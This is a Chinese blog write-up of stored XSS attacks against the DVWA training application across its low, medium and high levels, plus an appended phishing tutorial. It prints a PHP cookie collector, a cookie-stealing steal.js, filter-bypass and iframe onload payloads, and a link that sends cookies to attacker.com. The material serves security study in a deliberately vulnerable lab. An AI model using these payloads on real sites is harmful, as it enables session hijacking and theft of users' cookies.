【DVWA(五)】XXS存储型跨站攻击

本文主要介绍XSS存储型跨站攻击,相较于反射型危害更严重。通过low、medium、high、impossible四个难度级别进行测试,展示了不同难度下的攻击方法,如构造JS代码、利用标签绕过处理等,还探讨了反射型与存储型的区别及结合CSRF漏洞攻击的思考。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


XSS存储型跨站攻击(Stored Cross Site Scripting)

前言:

相较于XSS反射型跨站攻击,存储型具有更严重的危害,如果在窃取信息的同时对网页没有任何变化,那受害者将很难发现。

如果我有写的不太明白的地方,可以先看看之前XSS反射型跨站攻击的随笔


low:

1.观察:

测试输入模式,有两个输入框,经测试,都有输入限制,这个限制用网页查看器很容易解决,我给改成了1000,其实不改也可以,就是在message里输入payload也可以的;

2.输入:

alert测试

<script>alert("test")</script>

3.刷新:

此时已经将有攻击的脚本数据传到数据库了,刷新之后就会弹出alert,触发xss!
这就是存储型XSS攻击的厉害之处了,只要任何人访问此网址,都会触发,因此比反射型更加严重!
现在clear掉数据库信息,开始正式进行攻击。

4.php代码:

在www里新建php文件,用于偷取cookie:

<?php

$cookie=$_GET['cookie'];
file_put_contents('get_low_dvwa_cookie.txt',$cookie);

?>

5.构造JS代码:

这次采取与反射型不同的方式,不在输入框里直接输入js代码段,而是在www下写脚本文件,然后利用标签加载网址对应的js代码
新建JS文件steal.js:

document.location='http://127.0.0.1/get_low_dvwa_cookie.php?cookie='+document.cookie

6.XSS攻击加载JS代码:

构造payload:

name:<script src="http://127.0.0.1/steal.js"></script>

message:steal

提交之后可以看见,界面跳转了,说明攻击成功

7.隐蔽:

现在攻击成功,但是跳转界面容易让用户怀疑,所以进一步调整,尽量隐蔽,能够不引起直观变化的情况下进行攻击获取cookie。
利用ajax,在不刷新的情况下偷取cookie!挖坑XD


medium:

用大小写组合,绕过对于<script>的处理:

<SCRIPT>
<scr<script>ipt>

接下来和low一样了。其实这里跟反射型的XSS大同小异。


high:

1.用alert尝试

不行

2.用大小写组合尝试

不行

3.换标签

用 <iframe onload=alert("test")> 测试,可行!

4.构造payload:

name:<iframe onload=document.location='http://127.0.0.1/get_low_dvwa_cookie.php?cookie='+document.cookie>

message:steal

成功!


impossible:

暂时依旧无解


后记

因为是存储型,所以测试的时候会出现,一直跳转的情况,所以在后台把记录删掉就好了。

然后是合天网安相关部分的两个思考:

1)反射型跨站和存储型跨站的区别和利用方法的不同?

反射型是偏向实时的,点对点的最有效,把链接发送给某个人,这样最好了;然后存储型是大范围撒网,一旦形成了攻击,存进了数据库,就有大把的数据了!

2)如何结合CSRF漏洞攻击?

暂时还没搞这部分,留坑

转载于:https://www.cnblogs.com/wayne-tao/p/11079859.html

### DVWA 存储 XSS 钓鱼攻击模拟实验教程 #### 实验环境准备 为了进行存储XSS钓鱼攻击的模拟实验,需先设置好DVWA(Damn Vulnerable Web Application)平台。确保已安装并配置完毕该应用,并调整安全性等级至`LOW`以便于测试。 #### 攻击原理说明 存储XSS是指攻击者提交含有恶意脚本的数据给Web应用程序,这些数据被保存在目标系统的数据库或其他持久化存储介质内[^1]。每当有新访客加载包含此有害内容的页面时,浏览器便会自动执行嵌入式的JavaScript代码,无需任何额外交互动作即可实施攻击行为。 #### 构造Payload 针对此次实验目的——实现钓鱼功能,则可以创建一个看似合法却暗藏玄机的消息表单或链接作为payload。例如: ```html <a href="javascript:void(0)" onclick="window.location='http://attacker.com/stole?cookie='+document.cookie">点击领取奖品</a> ``` 这段HTML代码会在用户点击“点击领取奖品”的时候重定向到攻击者的站点并将当前用户的Cookie信息附加为查询参数传递过去[^3]。 #### 发布Payload 登录进入DVWA界面后找到能够发布留言的地方(比如Guestbook),将上述构造好的payload粘贴进去并提交。此时,这条消息已经被服务器接收并存入数据库等待其他用户触发。 #### 结果观察 一旦另一位受害者访问了带有未过滤输入项的页面,其浏览器将会解析并运行之前留下的恶意脚本,从而导致个人信息泄露等问题的发生。值得注意的是,在实际环境中应当严格遵循法律规范开展此类研究活动,严禁非法操作。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值